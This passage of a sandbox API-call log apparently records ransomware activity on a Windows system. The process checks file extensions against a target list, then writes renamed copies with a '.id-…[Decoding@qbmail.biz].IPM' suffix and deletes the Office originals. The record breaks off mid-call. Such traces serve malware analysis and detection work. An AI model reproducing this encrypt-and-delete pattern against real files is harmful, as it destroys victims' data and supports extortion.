lstrlenW (lpString=".1cd") returned 4 [0088.204] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0088.204] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0088.204] lstrlenW (lpString=".jpg") returned 4 [0088.205] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0088.205] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0088.205] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0088.205] lstrlenW (lpString=".doc") returned 4 [0088.205] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0088.205] lstrlenW (lpString=".docx") returned 5 [0088.205] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0088.205] lstrlenW (lpString=".pdf") returned 4 [0088.205] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0088.205] lstrlenW (lpString=".xls") returned 4 [0088.205] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0088.205] lstrlenW (lpString=".xlsx") returned 5 [0088.205] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0088.205] lstrlenW (lpString=".ppt") returned 4 [0088.205] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0088.205] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0088.205] lstrlenW (lpString=".zip") returned 4 [0088.205] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0088.205] lstrlenW (lpString=".rar") returned 4 [0088.205] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0088.205] lstrlenW (lpString=".bz2") returned 4 [0088.205] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0088.206] lstrlenW (lpString=".7z") returned 3 [0088.206] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0088.206] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0088.206] lstrlenW (lpString=".dbf") returned 4 [0088.206] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0088.206] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0088.206] lstrlenW (lpString=".1cd") returned 4 [0088.206] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0088.206] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0088.206] lstrlenW (lpString=".jpg") returned 4 [0088.206] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0088.206] lstrcmpiW (lpString1=".HTM", lpString2=".IPM") returned -1 [0088.206] lstrlenW (lpString="MCABOUT.HTM") returned 11 [0088.206] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0088.219] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2daff1c | out: lpFileSize=0x2daff1c*=11463) returned 1 [0088.219] CloseHandle (hObject=0x204) returned 1 [0088.219] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm")) returned 0x20 [0088.219] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0088.219] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0088.224] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0088.224] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0088.224] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0089.312] GetLastError () returned 0x0 [0089.312] ReadFile (in: hFile=0x204, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x2cc7, lpOverlapped=0x0) returned 1 [0089.315] WriteFile (in: hFile=0x18c, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0x2cd0, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0x2cd0, lpOverlapped=0x0) returned 1 [0089.317] ReadFile (in: hFile=0x204, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x0, lpOverlapped=0x0) returned 1 [0089.317] WriteFile (in: hFile=0x18c, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0xea, lpOverlapped=0x0) returned 1 [0089.318] SetEndOfFile (hFile=0x18c) returned 1 [0089.318] CloseHandle (hObject=0x18c) returned 1 [0089.822] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0089.823] SetEndOfFile (hFile=0x204) returned 1 [0089.826] CloseHandle (hObject=0x204) returned 1 [0089.826] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x20) returned 1 [0089.827] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm")) returned 1 [0089.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0089.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0089.828] lstrlenW (lpString=".doc") returned 4 [0089.828] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1 [0089.828] lstrlenW (lpString=".docx") returned 5 [0089.828] lstrcmpiW (lpString1=".docx", lpString2="T.HTM") returned -1 [0089.828] lstrlenW (lpString=".pdf") returned 4 [0089.828] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1 [0089.828] lstrlenW (lpString=".xls") returned 4 [0089.828] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1 [0089.828] lstrlenW (lpString=".xlsx") returned 5 [0089.828] lstrcmpiW (lpString1=".xlsx", lpString2="T.HTM") returned -1 [0089.828] lstrlenW (lpString=".ppt") returned 4 [0089.828] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1 [0089.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0089.828] lstrlenW (lpString=".zip") returned 4 [0089.828] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1 [0089.829] lstrlenW (lpString=".rar") returned 4 [0089.829] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1 [0089.829] lstrlenW (lpString=".bz2") returned 4 [0089.829] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1 [0089.829] lstrlenW (lpString=".7z") returned 3 [0089.829] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1 [0089.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0089.829] lstrlenW (lpString=".dbf") returned 4 [0089.829] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1 [0089.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0089.829] lstrlenW (lpString=".1cd") returned 4 [0089.829] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1 [0089.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0089.829] lstrlenW (lpString=".jpg") returned 4 [0089.829] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1 [0089.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0089.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0089.830] lstrlenW (lpString=".doc") returned 4 [0089.830] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1 [0089.830] lstrlenW (lpString=".docx") returned 5 [0089.830] lstrcmpiW (lpString1=".docx", lpString2="T.HTM") returned -1 [0089.830] lstrlenW (lpString=".pdf") returned 4 [0089.830] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1 [0089.830] lstrlenW (lpString=".xls") returned 4 [0089.830] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1 [0089.830] lstrlenW (lpString=".xlsx") returned 5 [0089.830] lstrcmpiW (lpString1=".xlsx", lpString2="T.HTM") returned -1 [0089.830] lstrlenW (lpString=".ppt") returned 4 [0089.830] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1 [0089.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0089.830] lstrlenW (lpString=".zip") returned 4 [0089.830] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1 [0089.830] lstrlenW (lpString=".rar") returned 4 [0089.830] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1 [0089.830] lstrlenW (lpString=".bz2") returned 4 [0089.830] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1 [0089.830] lstrlenW (lpString=".7z") returned 3 [0089.831] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1 [0089.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0089.831] lstrlenW (lpString=".dbf") returned 4 [0089.831] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1 [0089.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0089.831] lstrlenW (lpString=".1cd") returned 4 [0089.831] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1 [0089.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0089.831] lstrlenW (lpString=".jpg") returned 4 [0089.831] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1 [0089.831] lstrcmpiW (lpString1=".DAT", lpString2=".IPM") returned -1 [0089.832] lstrlenW (lpString="STOCKS.DAT") returned 10 [0089.832] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0090.123] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2daff1c | out: lpFileSize=0x2daff1c*=39017) returned 1 [0090.123] CloseHandle (hObject=0x1ec) returned 1 [0090.123] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat")) returned 0x20 [0090.123] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0090.123] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0090.124] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0090.124] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0090.124] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0090.125] GetLastError () returned 0x0 [0090.125] ReadFile (in: hFile=0x1ec, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x9869, lpOverlapped=0x0) returned 1 [0090.134] WriteFile (in: hFile=0x1d8, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0x9870, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0x9870, lpOverlapped=0x0) returned 1 [0090.137] ReadFile (in: hFile=0x1ec, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x0, lpOverlapped=0x0) returned 1 [0090.137] WriteFile (in: hFile=0x1d8, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0xe8, lpOverlapped=0x0) returned 1 [0090.138] SetEndOfFile (hFile=0x1d8) returned 1 [0090.138] CloseHandle (hObject=0x1d8) returned 1 [0090.139] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0090.139] SetEndOfFile (hFile=0x1ec) returned 1 [0090.141] CloseHandle (hObject=0x1ec) returned 1 [0090.142] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x20) returned 1 [0090.142] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat")) returned 1 [0090.142] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0090.142] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0090.142] lstrlenW (lpString=".doc") returned 4 [0090.143] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0090.143] lstrlenW (lpString=".docx") returned 5 [0090.143] lstrcmpiW (lpString1=".docx", lpString2="S.DAT") returned -1 [0090.143] lstrlenW (lpString=".pdf") returned 4 [0090.143] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0090.143] lstrlenW (lpString=".xls") returned 4 [0090.143] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0090.143] lstrlenW (lpString=".xlsx") returned 5 [0090.143] lstrcmpiW (lpString1=".xlsx", lpString2="S.DAT") returned -1 [0090.143] lstrlenW (lpString=".ppt") returned 4 [0090.143] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0090.143] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0090.143] lstrlenW (lpString=".zip") returned 4 [0090.143] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0090.143] lstrlenW (lpString=".rar") returned 4 [0090.143] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0090.143] lstrlenW (lpString=".bz2") returned 4 [0090.143] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0090.144] lstrlenW (lpString=".7z") returned 3 [0090.144] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0090.144] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0090.144] lstrlenW (lpString=".dbf") returned 4 [0090.144] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0090.144] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0090.144] lstrlenW (lpString=".1cd") returned 4 [0090.144] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0090.144] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0090.144] lstrlenW (lpString=".jpg") returned 4 [0090.144] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0090.144] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0090.144] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0090.144] lstrlenW (lpString=".doc") returned 4 [0090.144] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0090.144] lstrlenW (lpString=".docx") returned 5 [0090.144] lstrcmpiW (lpString1=".docx", lpString2="S.DAT") returned -1 [0090.144] lstrlenW (lpString=".pdf") returned 4 [0090.145] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0090.145] lstrlenW (lpString=".xls") returned 4 [0090.145] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0090.145] lstrlenW (lpString=".xlsx") returned 5 [0090.145] lstrcmpiW (lpString1=".xlsx", lpString2="S.DAT") returned -1 [0090.145] lstrlenW (lpString=".ppt") returned 4 [0090.145] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0090.145] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0090.145] lstrlenW (lpString=".zip") returned 4 [0090.145] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0090.145] lstrlenW (lpString=".rar") returned 4 [0090.145] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0090.145] lstrlenW (lpString=".bz2") returned 4 [0090.145] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0090.145] lstrlenW (lpString=".7z") returned 3 [0090.145] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0090.145] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0090.145] lstrlenW (lpString=".dbf") returned 4 [0090.145] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0090.145] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0090.146] lstrlenW (lpString=".1cd") returned 4 [0090.146] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0090.146] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0090.146] lstrlenW (lpString=".jpg") returned 4 [0090.146] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0090.146] lstrcmpiW (lpString1=".TXT", lpString2=".IPM") returned 1 [0090.146] lstrlenW (lpString="METCONV.TXT") returned 11 [0090.146] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0090.148] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2daff1c | out: lpFileSize=0x2daff1c*=1183416) returned 1 [0090.148] CloseHandle (hObject=0x1ec) returned 1 [0090.148] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt")) returned 0x20 [0090.148] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0090.148] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0090.148] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0090.148] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0090.149] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0090.149] GetLastError () returned 0x0 [0090.149] ReadFile (in: hFile=0x1ec, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0xffff0, lpOverlapped=0x0) returned 1 [0090.668] WriteFile (in: hFile=0x1d8, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0091.069] ReadFile (in: hFile=0x1ec, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x20ec8, lpOverlapped=0x0) returned 1 [0091.087] WriteFile (in: hFile=0x1d8, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0x20ed0, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0x20ed0, lpOverlapped=0x0) returned 1 [0091.591] ReadFile (in: hFile=0x1ec, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x0, lpOverlapped=0x0) returned 1 [0091.591] WriteFile (in: hFile=0x1d8, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0xea, lpOverlapped=0x0) returned 1 [0091.592] SetEndOfFile (hFile=0x1d8) returned 1 [0091.592] CloseHandle (hObject=0x1d8) returned 1 [0092.707] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0092.707] SetEndOfFile (hFile=0x1ec) returned 1 [0092.817] CloseHandle (hObject=0x1ec) returned 1 [0092.817] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x20) returned 1 [0092.817] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt")) returned 1 [0092.818] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0092.818] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0092.818] lstrlenW (lpString=".doc") returned 4 [0092.818] lstrcmpiW (lpString1=".doc", lpString2=".TXT") returned -1 [0092.818] lstrlenW (lpString=".docx") returned 5 [0092.818] lstrcmpiW (lpString1=".docx", lpString2="V.TXT") returned -1 [0092.818] lstrlenW (lpString=".pdf") returned 4 [0092.818] lstrcmpiW (lpString1=".pdf", lpString2=".TXT") returned -1 [0092.818] lstrlenW (lpString=".xls") returned 4 [0092.818] lstrcmpiW (lpString1=".xls", lpString2=".TXT") returned 1 [0092.818] lstrlenW (lpString=".xlsx") returned 5 [0092.818] lstrcmpiW (lpString1=".xlsx", lpString2="V.TXT") returned -1 [0092.818] lstrlenW (lpString=".ppt") returned 4 [0092.818] lstrcmpiW (lpString1=".ppt", lpString2=".TXT") returned -1 [0092.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0092.819] lstrlenW (lpString=".zip") returned 4 [0092.819] lstrcmpiW (lpString1=".zip", lpString2=".TXT") returned 1 [0092.819] lstrlenW (lpString=".rar") returned 4 [0092.819] lstrcmpiW (lpString1=".rar", lpString2=".TXT") returned -1 [0092.819] lstrlenW (lpString=".bz2") returned 4 [0092.819] 